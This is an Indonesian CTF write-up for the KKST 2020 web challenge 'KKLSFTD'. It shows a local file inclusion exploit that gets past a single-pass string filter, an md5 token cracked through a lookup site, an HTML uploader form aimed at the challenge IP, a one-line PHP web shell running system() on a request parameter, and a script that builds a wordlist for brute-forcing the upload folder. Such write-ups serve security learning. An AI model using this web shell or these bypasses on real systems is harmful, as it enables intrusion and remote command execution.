[KKST 2020] KKLSFTD
Diberikan sebuah soal seperti gambar berikut
Website diketahui menggunakan bahasa PHP. Pada saat URL tersebut diakses, website akan men-redirect kita ke dev.php. Karena curiga dengan file index.php, dilakukanlah curl ke index.php untuk melihat response dari file index.php tersebut
Setelah melakukan pencarian pada folder tersebut ditemukan sebuah bug LFI (Local File Inclusion) pada /page/.download.php?file_name=klee.mp3. Untuk test LFI tersebut, dilakukan include file /etc/passwd
terfilter
Setelah dianalisa, berikut adalah beberapa string pada input yang dihapus:
download, flag, php, ../
Karena penghapusan hanya dilakukan satu kali yang artinya, jika
download => “” (dihapus)
downldownloadoad => “download” (string download pada karakter 6-13 akan dihapus menyisakan string downl dan oad)
Author dapat membypass filter tersebut dengan mudah. Setelah itu dilakukan pembacaan source code file-file PHP yang ada di dalam website
Setelah menelusuri file-file yg terdapat di dalam web, maka ditemukan file pada /modules/index.php
Di dalam file tersebut meng-include beberapa file lain:
Nah, pada menu.php dapat dilakukan upload file menggunakan POST data “image”. File menu.php juga meminta token yang bisa diinput melalui GET parameter “token”.
Token pada input tersebut di hash terlebih dahulu ke md5 dan dibandingkan dengan $token yang berada dalam token.config.php. Setelah semuanya cocok, baru file akan terupload.
Untuk mengetahui plaintext dari md5 $token tersebut, dapat menggunakan hashes.com sebagai decryptor
Lalu membuat script upload form untuk mengupload sebuah backdoor PHP ke web tersebut
<!DOCTYPE html>
<html>
<tilte>UPLOADER</tile>
<body>
<form action="http://140.82.48.126:20001/modules/menu.php?token=admin" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="image" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
</body>
</html>
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
Setelah itu backdoor.php akan terupload pada folder MD5 dari (IP kita + angka random 1-100) dan nama filenya akan terganti menjadi (angka random 1-100).php
Berikut script PHP untuk generate wordlist folder
<?php
$ip = "xxx.xxx.xxx.xxx";
for($i=0; $i<=100; $i++){
$dir = $ip.$i;
echo md5($dir).PHP_EOL;
}
?>
Kita dapat menggunakan tools dirb / dirsearch untuk mencari folder dan file dari wordlist yang sudah kita generate tadi.
Setelah didapatkan foldernya, bruteforce filenya 1-100.php. Kalo sekarang gausah pake tools, manual aja biar olahraga jari h3h3
Akses, dan cari flagnya :D